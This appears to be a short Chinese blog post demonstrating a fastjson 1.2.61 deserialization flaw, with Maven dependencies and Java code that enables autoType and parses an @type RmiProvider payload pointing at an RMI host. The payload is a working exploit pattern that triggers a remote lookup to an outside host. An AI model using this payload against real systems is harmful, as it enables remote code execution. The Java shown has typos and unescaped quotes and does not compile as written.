fastjson 安全漏洞 实现演示

log4j2 远程代码注入漏洞 demo_灵耀的博客-CSDN博客

log4j 的demo中详细讲解了 RMI service服务的创建，这篇主要说明fastjson的漏洞演示

主要是使用fastjson 的 @type注解

fastjson 版本1.2.61

      
            com.alibaba
            fastjson
            1.2.61
        
       
        
            org.apache.sirona
            sirona-javaagent
            0.1-incubating
        

DEMO

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
//import  org.apache.commons.proxy.provider.remoting.RmiProvider;
public class FastJsonDemo {
    public static void main(String[] args) {
 
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //在1.2.4之前的版本中不用开启
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //请先看上面的 博客 搭建 rmi 服务
       String json = "{"@type":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"172.18.2.124","port":1099,"name":"test"}";

        JSonObject object = JSON.parseObject(json);

        System.out.println(object);
        System.out.println(object.getClass());

    }

}